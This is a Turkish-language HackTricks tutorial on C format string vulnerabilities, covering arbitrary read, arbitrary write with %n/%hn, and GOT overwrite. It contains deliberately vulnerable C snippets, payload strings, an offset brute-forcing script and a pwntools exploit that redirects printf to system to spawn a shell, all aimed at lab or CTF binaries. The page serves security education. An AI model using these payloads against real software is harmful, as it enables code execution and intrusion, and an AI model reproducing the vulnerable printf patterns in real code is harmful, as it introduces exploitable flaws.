hacktricks/binary-exploitation/format-strings/README.md

230 lines
11 KiB
Markdown
Raw Normal View History

# Format Dizileri
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!</summary>
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? Ya da en son PEASS sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimizi**](https://opensea.io/collection/the-peass-family) görün
* [**Resmi PEASS & HackTricks ürünlerine**](https://peass.creator-spring.com) sahip olun
* **[💬 Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya beni Twitter'da takip edin 🐦[@carlospolopm](https://twitter.com/hacktricks\_live).**
* **Hacking püf noktalarınızı göndererek PR'ler oluşturarak** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile paylaşın.**
</details>
## Temel Bilgiler
C'de **`printf`**, bazı dizeleri **yazdırmak** için kullanılabilen bir işlevdir. Bu işlevin beklediği **ilk parametre**, **biçimleyicilerle** birlikte **ham metindir**. Beklenen **diğer parametreler**, ham metinden **biçimleyicileri yerine koymak için değerlerdir**.
Diğer zayıf işlevler **`sprintf()`** ve **`fprintf()`**'dir.
Zafiyet, bu işlevin **ilk argümanı olarak bir saldırgan metnin kullanıldığı zaman ortaya çıkar**. Saldırgan, **printf biçim dizisi yeteneklerini kötüye kullanarak** özel bir giriş oluşturabilir ve **herhangi bir adresindeki herhangi bir veriyi okuyup yazabilir**. Bu şekilde **keyfi kod yürütebilir** hale gelir.
#### Biçimleyiciler:
```bash
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
```
**Örnekler:**
* Zafiyetli örnek:
```c
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
```
* Normal Kullanım:
```c
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
```
* Eksik Argümanlarla:
```c
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
```
* fprintf savunmasız:
```c
#include <stdio.h>
int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input cna include formatters!
fclose(output_file);
return 0;
}
```
### **İşaretçilere Erişim**
**`%<n>$x`** biçemi, `n` sayısını belirterek printf'e yığın üzerindeki n'inci parametreyi seçmesini sağlar. Dolayısıyla printf kullanarak yığından 4. parametreyi okumak istiyorsanız şunu yapabilirsiniz:
```c
printf("%x %x %x %x")
```
ve birinci ile dördüncü parametre arasından okuyabilirsiniz.
Ya da şunu yapabilirsiniz:
```c
printf("$4%x")
```
Ve dördüncüyü doğrudan okuyun.
Saldırganın `pr`**`intf` parametresini kontrol ettiğine dikkat edin, bu temelde girişi `printf` çağrıldığında yığında olacak anlamına gelir, bu da belirli bellek adreslerini yığında yazabileceği anlamına gelir.
{% hint style="danger" %}
Bu girişi kontrol eden bir saldırgan, yığında **rastgele adres ekleyebilecek ve `printf`'in bunlara erişmesini sağlayabilecek**. Bu davranışın nasıl kullanılacağı bir sonraki bölümde açıklanacaktır.
{% endhint %}
## **Rastgele Okuma**
Biçimleyici **`%n$s`**'yi kullanarak **`printf`**'in **n pozisyonundaki adresi** almasını sağlamak ve ardından onu **bir dizeymiş gibi yazdırmak** mümkündür (0x00 bulunana kadar yazdır). Dolayısıyla, eğer ikili dosyanın temel adresi **`0x8048000`** ise ve kullanıcı girişinin yığında 4. pozisyonda başladığını biliyorsak, ikilinin başlangıcını şu şekilde yazdırmak mümkündür:
```python
from pwn import *
p = process('./bin')
payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
```
{% hint style="danger" %}
Başlangıçta 0x8048000 adresini girişin başına koyamazsınız çünkü dize, o adresin sonunda 0x00 ile birleştirilecektir.
{% endhint %}
### Ofseti Bulma
Girişinize ofseti bulmak için 4 veya 8 bayt (`0x41414141`) gönderebilir ve ardından **`%1$x`** ve **artırarak** değeri `A'ları` alana kadar artırabilirsiniz.
<details>
<summary>Brute Force printf ofseti</summary>
```python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
from pwn import *
# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
# Start a new process of the "chall" binary
p = process("./chall")
# Send the payload to the process
p.sendline(payload)
# Read and store the output of the process
output = p.clean()
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break
# Close the process
p.close()
```
</details>
### Ne Kadar Faydalı
Keyfi okumalar şu amaçlar için faydalı olabilir:
- Bellekten **binary**'yi **dökme**
- Hassas **bilgilerin** saklandığı belleğin belirli bölümlerine erişme (örneğin canary'ler, şifreleme anahtarları veya özel şifreler gibi bu [**CTF zorluğunda**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
## **Keyfi Yazma**
Biçimlendirici **`$<num>%n`** **belirtilen adres**teki **yazılan bayt sayısını** \<num> parametresinde yığında yazar. Bir saldırgan printf ile istediği kadar karakter yazabiliyorsa, **`$<num>%n`**'yi bir keyfi sayıyı bir keyfi adrese yazacak şekilde kullanabilir.
Neyse ki, 9999 sayısını yazmak için girişe 9999 "A" eklemek gerekmez, bunun yerine **`%.<num-yazma>%<num>$n`** biçimlendiricisini kullanarak **`<num-yazma>`** sayısını **`num` pozisyonu tarafından işaret edilen adrese** yazmak mümkündür.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
Ancak, genellikle `0x08049724` gibi bir adres yazmak için (bu tek seferde yazılacak BÜYÜK bir sayıdır), **`$n`** yerine genellikle **`$hn`** kullanılır. Bu, **yalnızca 2 Bayt yazmaya** olanak tanır. Bu nedenle bu işlem iki kez yapılır, biri adresin en yüksek 2B'si için ve diğeri en düşük olanlar için.
Bu zafiyet, **herhangi bir adrese herhangi bir şey yazmaya (keyfi yazma)** olanak tanır.
Bu örnekte, amacımız daha sonra çağrılacak bir **fonksiyonun** **GOT** tablosundaki **adresini üzerine yazmaktır**. Bununla birlikte, bu, diğer keyfi yazma yöntemlerini suiistimal edebilir:
{% content-ref url="../arbitrary-write-2-exec/" %}
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
{% endcontent-ref %}
Kullanıcıdan **argümanlarını alan bir fonksiyonun adresini** **`system`** **fonksiyonuna işaret edecek şekilde üzerine yazacağız**.\
Bahsedildiği gibi, adresi yazmak için genellikle 2 adımda gereklidir: İlk olarak adresin 2 Bayt'ını yazarsınız ve ardından diğer 2'sini. Bunun için **`$hn`** kullanılır.
* **HOB**, adresin 2 yüksek baytını çağırır
* **LOB**, adresin 2 düşük baytını çağırır
Sonra, format dizesinin nasıl çalıştığından dolayı \[HOB, LOB]'nin **önce en küçüğünü yazmanız** ve ardından diğerini yazmanız gerekir.
Eğer HOB < LOB ise\
`[adres+2][adres]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
Eğer HOB > LOB ise\
`[adres+2][adres]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
{% code overflow="wrap" %}
```bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
```
{% endcode %}
### Pwntools Şablonu
Bu tür bir zafiyet için bir exploit hazırlamak için bir **şablon** bulabilirsiniz:
{% content-ref url="format-strings-template.md" %}
[format-strings-template.md](format-strings-template.md)
{% endcontent-ref %}
Ya da bu temel örneği [**buradan**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) bulabilirsiniz:
```python
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
```
## Format Strings to BOF
Format string zafiyetinin yazma işlemlerini **yığın adreslerine yazmak** ve bir **tampon taşma** türü zafiyetini sömürmek için kullanılabilir.
## Diğer Örnekler ve Referanslar
* [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
* [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
* 32 bit, relro yok, canary yok, nx, pie yok, bayt başına format dizgilerini kullanarak bayrağı yığından sızdırmak için temel kullanım (yürütme akışını değiştirmeye gerek yok)
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
* 32 bit, relro, canary yok, nx, pie yok, format dizgisi kullanarak `fflush` adresini `win` işleviyle üzerine yazma (ret2win)
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
* 32 bit, relro, canary yok, nx, pie yok, format dizgisi kullanarak `.fini_array` içinde main içinde bir adres yazma (bu nedenle akış 1 kez daha döner) ve GOT tablosundaki `system` adresini `strlen`'e işaret eden `system` adresini yazma. Akış main'e geri döndüğünde, kullanıcı girdisiyle `strlen` çalıştırılır ve `system`'e işaret ederse, geçilen komutları çalıştıracaktır.